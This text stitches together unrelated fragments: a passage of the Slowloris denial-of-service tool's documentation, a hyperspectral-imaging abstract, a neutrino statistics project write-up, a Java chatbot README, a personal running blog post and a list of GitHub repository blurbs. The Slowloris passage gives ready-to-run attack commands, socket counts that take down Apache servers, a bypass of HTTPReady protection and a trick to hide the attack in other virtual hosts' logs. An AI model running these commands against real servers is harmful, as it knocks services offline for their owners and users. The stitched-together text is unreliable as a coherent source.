./slowloris.pl -dns www.example.com -port 80 -test This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing). =head2 HTTP DoS Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though. =head3 HTTP DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 =head2 HTTPReady Bypass HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. =head3 HTTPReady Bypass Example ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready =head2 Stealth Host DoS If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately. =head3 Stealth Host DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com =head2 HTTPS DoS Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary. =head3 HTTPS DoS Example: ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https =head2 HTTP Cache Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary. =head3 HTTP Cache Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache =head1 Issues Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too. =head1 What is a slow loris? What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:

Hyperspectral image analysis mainly concentrates on handling big satellite datasets efficiently and to identify the endmembers more accurately. This paper proposes improved pure pixel identification algorithms to identify the endmembers in hyperspectral images. In the proposed endmember extraction algorithms the skewers are generated based on the statistical parameters of the hyperspectral dataset, which implicitly changes the vertices of the convex hull. This reduces the false alarm probability of the conventional Pixel Purity Index algorithm. Moreover in the proposed Skewer based NFINDR algorithm eliminates the random initialization of the endmembers in the first step, which leads to more promising results. The running time is reduced by decreasing the floating point operations involved. Experimental results validate the effectiveness of the proposed endmember extraction algorithms in terms of improved accuracy and reduced computational complexity. My study proves the proposed algorithms were able to identify the endmembers accurately even in a noisy environment, thereby validating its effectiveness.

This project performs a statistical analysis and hypothesis testing of IceCube data of the TXS 0506+05 blazar from 2008 through 2017. In the project, I attempted to create a simplified version of the maximum likelihood estimation and likelihood ratio test that IceCube researchers used to confirm TXS 0506+056 as a source of neutrinos. My null hypothesis was that the neutrinos events did not come from the blazar; my alternative hypothesis was that they did. Whereas researches used flux density and spectral index as the two parameters in their estimation, I used mean and variance - parameters that proved much easier to work with. Originally, I assumed a normal distribution. After plotting each histogram with many different fits, I found that the data fit not a normal distribution but a log-normal distribution. Thus I used the logs of the maximum likelihood function and likelihood ratio. Using various Python packages to calculate the first derivate of the maximum likelihood function, I set this derivative equal to zero to find the critical point of the function. With this, I obtained the most probable values of the mean and variance for each sample. My results matched NumPy’s calculations with even greater certainty. Attempting to generate p-values for my calculation presented greater challenges. After attempting to code a single ratio function, I hit a wall and decided to type out the ratio function and insert each data sample with their mean and variance separately. This was not only a rudimentary approach but also more time-consuming. Should I go back to this project, I would like to program a smoother, more technical code. After obtaining test statistic values for each sample, I used the chi-squared probability density function to calculate the p-values. Further problems arose. The ratio of the null hypothesis over the probability of the alternative hypothesis should always be less than one. Thus, the log of this ratio should fall between 0 and 1, which my results do not show. My guess is that I did not properly - if at all - constrain my parameters under the null hypothesis. I also believe I did not properly use my values of the variances in calculating the test statistics. I would like to do more work on this project in the future to obtain appropriate results.

# Simple-Chatty-Bot Simple Chatty Bot Application that prompts user for name, date built, and age of a user-defined bot. Project Completed using JetBrains Hyperskill at https://hyperskill.org/projects/31?goal=7 About: Here, at the beginning of your programmer’s path, you will need a console bot that will guide you through the basics of software development. During this journey you will also play some word and number games that you are going to implement by yourself. Pack up and hit the road, my friend! Learning outcomes: As you move through the project, you’ll install Java on your machine and learn to work in a professional development environment. You’ll get to know the basic syntax of Java and write a simple program using variables, conditions, loops, and methods. This project is a part of the following learning goals: Java Developer What you’ll do and what you’ll learn: 1/4. Teach your assistant to introduce itself in the console Introduction to Java - Basic literals - Overview of the basic program - Printing data - Stage implementation 2/4. Use your knowledge of strings and numbers to make the assistant guess your age 3/4. Your assistant is old enough to learn how to count. And you are experienced enough to apply the for-loop at this stage! 4/4. At this point, the assistant will be able to check your knowledge and ask multiple choice questions. Add some methods to your code and make the stage even better. Result will look like: > Hello! My name is Aid.<br/> I was created in 2018.<br/> Please, remind me your name.<br/> Max<br/> What a great name you have, Max!<br/> Let me guess your age.<br/> Say me remainders of dividing your age by 3, 5 and 7.<br/> 1 2 1<br/> Your age is 22: that's a good time to start programming!<br/> Now I will prove to you that I can count to any number you want.<br/> 3<br/> 0!<br/> 1!<br/> 2!<br/> 3!<br/> Let's test your programming knowledge.<br/> Why do we use methods?<br/> <ol> <li>To repeat a statement multiple times.</li> <li>To decompose a program into several small subroutines.</li> <li>To determine the execution time of a program.</li> <li>To interrupt the execution of a program.</li> </ol> > 4<br/> Please, try again.<br/> 2<br/> Congratulations, have a nice day!

Welcome to my favorite time of the year… Fall. Now, that’s not saying all that much considering it’s still 90+ degrees here in northwest Louisiana, but at least the prospect of cooler air exists, right? Until those 2 weeks of fall weather hit (because let’s get real, it’ll be North Pole cold shortly afterward), we’re just going to have to sweat it out like we did a couple weeks ago at our FIRST 5K TOGETHER! That’s right, Seth and I ran our first ever race together last Saturday, and it was tons of fun! If you’ve never heard the old Southern saying, “You could cut the air with a knife,” you could have experienced it firsthand that day as it was unbelievably humid. Whew! Despite the less than ideal late September weather conditions, we managed to finish in decent time considering I hadn’t seriously attempted running in two months, and Seth hasn’t ran in…let’s say “quite some time.” I’ve begged him to run with me off and on over the years and never got very far with that request, so I can’t express how exciting it was to have him there with me. I’d like to say he was by my side or that I was slowing down to allow him to keep up, but neither of those are the case for Seth is naturally good at most everything he attempts and running is no exception. I would, at this point, like to announce that I did finish a minute before him, but that’s about the only time I was ever ahead in the race. (That’s what counts though, right? 😉 Haha!) All in all, no matter where we finished, it was a WONDERFUL Saturday morning spent together. Because Seth and I have been together for almost 11 years now, we’ve gone through many phases in our relationship. Right now, we’re in the “not quite newlyweds, but not sure if we’re ready to have a baby” phase. This is an exciting time for us, though, because we’re getting to experience so much together and grow stronger as individuals and a team. For instance, this race was fun not only for athletic reasons, but also to give back to the community and be a part of a larger team. Since we work together (at the same place, rather; we rarely see each other unless it’s intended) and encounter the same people on a daily basis, it was fun for us to hang out with co-workers outside the gates of the mill all while supporting a cause. There’s no awkwardness introducing one to the other’s coworkers or lapse of topics over which to converse in these situations. We’re partners throughout most everything we do and our coworkers acknowledge that, which continually proves to be an fun asset/dynamic to our relationship.

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Silly check to prove my point

a childish model to prove a point to my friends :)

code to prove a point to my fantasy football league

Simple pet shop form using html/css3 to prove a point to my students

A website dedicated to proving a point to my teachers by providing a lot of unblocked games.

My undergraduate thesis on some fixed point theorems and their applications. In this report, a new fixed point theorem was proved with sharp convergence rate.

Simulation of endings to the game of backgammon with two different rule sets. To maybe prove point to my friends...

this repo exists to prove a point that no matter how much my school blocks, people will find a way.

Simple web crawler that stores links in a binary tree. Created to prove a point for my NEA A2 project (Social Social Media)

News summarizing programme created as my engineering thesis. The point of my thesis was to prove that modern large language models can be very helpful in programmers work.

I was annoyed about the refereeing performance in the 2023 Warriors-Lakers playoff series, so I wrote some code to prove my point that the Warriors got screwed.

My family confronted me with the Monty Hall Problem, they saw on the TV Show Broklyn Nine Nine and I proved my point making with a few thousand random runs of the Problem in Python.

This is a text editing script i made in my first 8 hours of learning python. If you are trying to make a text edit to a document yourself this could prove helpful in providing a starting point

The final project as required to complete the course Data Visualization and Web Analytics. The topic was my personal choice. Not a die-hard soccer fan, but I wanted to prove a point to my colleague who had great disdain towards Arsenal as a team.

I built an adversarial stress engine to find my AI's mathematical breaking point. By injecting outliers and noise, I mapped a "Failure Frontier" proving the model collapses ($>$100% error increase) at just 5% data corruption. A deep dive into model fragility and MLOps integrity.

This project is a span attack tatic to avoid been block by some providers. This is made to prove a point to one of my friends, if you want to use or test do at your own risk / consequences. Made for EDUCATIONAL PROPOUSES ONLY!

This is my current (June 18, 2023) Weather App with basic Weather API integration. This marks a reference point before advanced API integration and different styling. I plan to update this once I become more advanced of a programmer, and so really this proves as somewhere to look back on in the future to see my progress.

Identify my most polished, valuable internal capability (e.g., strategic analysis, code review, adversarial simulation) and package it as a minimalist, automated API service. List it on a platform like OpenAI's GPT Store or a direct web endpoint. Set a price point. The goal is not maximum profit, but to prove the loop: Capability -> Product -> Tran

I have 3 Strategic Pivot repositories for easily proving point-of-origin on later development. This is the first time I had a true Final Draft of the site... but my youtube videos show I had this all theorized in elaborate detail in 2024. That was when I was working to get political parties to realize we need a "Businesses Bill of Rights".